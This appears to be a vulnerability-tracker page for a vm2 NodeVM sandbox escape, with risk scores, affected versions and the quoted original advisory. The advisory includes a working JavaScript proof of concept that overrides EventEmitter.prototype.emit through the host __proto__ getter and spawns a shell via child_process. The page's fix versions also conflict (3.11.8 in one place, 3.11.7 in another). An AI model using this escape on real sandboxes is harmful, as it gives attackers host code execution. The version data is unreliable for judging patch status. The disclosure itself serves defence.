CVE-2026-92955 · GHSA-88hf-g992-jg85

vm2: Sandbox Escape (NodeVM)

Risk score: 81/100
CVSS: 10.0 v3.1
Exploit chance (30 days): 0.7%
Published: 5 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is: It being possible to obtain the host __proto__ getter/setter, has been used in many reports: https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p h…
Affected: vm2 (npm) <= 3.11.7
Fix: Upgrade vm2 to 3.11.8 or later.
Exploitation: No known exploitation

Story map

Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

vm2: Red, act today. NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox: require.root defaults to unrestricted — "if omitted every path is …

The flaws

CVE-2026-92955: Sandbox Escape (NodeVM) (CVSS 10.0 · EPSS 1%)
CVE-2026-92946: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE (CVSS 10.0 · EPSS 1%)
CVE-2026-92944: Vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector (CVSS 9.8 · EPSS 1%)
CVE-2026-92956: Vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass (CVSS 10.0 · EPSS 1%)

The fix

Fix: Upgrade vm2 to 3.11.7 or later.

Who is exposed: vm2 (npm) <= 3.11.6

Where it stands

Public proof of concept

Connects to

Same weakness: CWE-913 (CWE-913). 7 other warnings in 30 days

Why it is Red

CVSS 10.0 critical
Remotely exploitable without logging in
On your watchlist: npm

Affected packages

Package	Ecosystem	Vulnerable	Fixed in
vm2	npm	<= 3.11.7	3.11.8

References

Original description

## Summary It being possible to obtain the host `__proto__` getter/setter, has been used in many reports: - https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6 Yet it was never patched... --- This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default) ## Details The prototype chain for `console._stdout`/`console._stderr` is: ``` _stdout / _stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter ``` `process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype` By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`. This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor. ## PoC ```js const { NodeVM } = require("vm2"); code = ` const gP = Buffer.call.call(__lookupGetter__,67,'__proto__'); // vm __proto__ getter console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {} // host __proto__ getter console.log(gP.call(console._stderr)); // Socket { [...] } let p = console._stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); }; p.emit = function(){ console.log(this+[]); this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"}) } `; const vm = new NodeVM(); vm.run(code); ```

Last activity 5 Oct 2026. Patch Forecast updates every hour.